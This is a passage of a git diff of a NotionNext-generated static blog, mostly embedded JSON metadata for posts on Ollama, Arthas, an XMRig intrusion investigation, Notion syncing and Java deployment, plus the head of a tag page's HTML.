pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"tag":"docker"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"docker"},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}],"tag":"docker"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"docker"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/tag/git.html b/tag/git.html
index 1c2f173f5..4cc620c28 100644
--- a/tag/git.html
+++ b/tag/git.html
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>git | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="git | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/git"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="git | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 